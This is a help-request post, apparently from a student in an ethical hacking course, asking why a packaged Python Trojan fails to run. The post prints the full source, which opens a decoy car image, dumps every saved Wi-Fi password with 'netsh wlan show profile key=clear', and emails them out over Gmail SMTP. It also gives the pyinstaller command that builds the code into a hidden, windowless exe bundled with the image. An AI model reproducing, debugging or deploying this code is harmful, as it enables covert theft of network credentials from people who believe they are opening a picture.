I am trying to create a Python 3 based Trojan for my Ethical Hacking Course at https://phoenyxacademy.com. So it is a basic Trojan that will open a picture on the surface but will extract and send wifi password to an e-mail. But after packaging the python script with pyinstaller and running the generated exe, I get an error.
The Python Source Code:
#!/usr/bin/env python3
# A program to steal wifi passwords and send to our e-mail
# import modules
import subprocess
import re
import smtplib
import sys
import tempfile
def retrieve_wifi_passwords():
system_command = 'netsh wlan show profile'
access_points = subprocess.check_output(system_command, shell=True, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL)
access_point_list = re.findall("(?:Profile\s*:\s)(.*)", access_points.decode())
profile_result = ""
for access_point in access_point_list:
system_command = 'netsh wlan show profile "' + access_point + '" key=clear'
result = subprocess.check_output(system_command, shell=True)
result = result.decode()
profile_result += result
return profile_result
def send_mail(email, password, message):
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
# to run after embedding it with a file
temp_directory = tempfile.gettempdir()
file_name = "C:\\Users\\Faisal Gama\\AppData\\Local\\Temp\\car.jpg"
subprocess.Popen(file_name, shell=True)
email = 'my_email'
password = 'my_password'
profile_result = retrieve_wifi_passwords()
send_mail(email, password, profile_result)
I use the pyinstaller command:
pyinstaller wifi_malware.py --onefile --noconsole --add-data "C:\Users\Faisal Gama\Downloads\car.jpg;C:\Users\Faisal Gama\AppData\Local\Temp"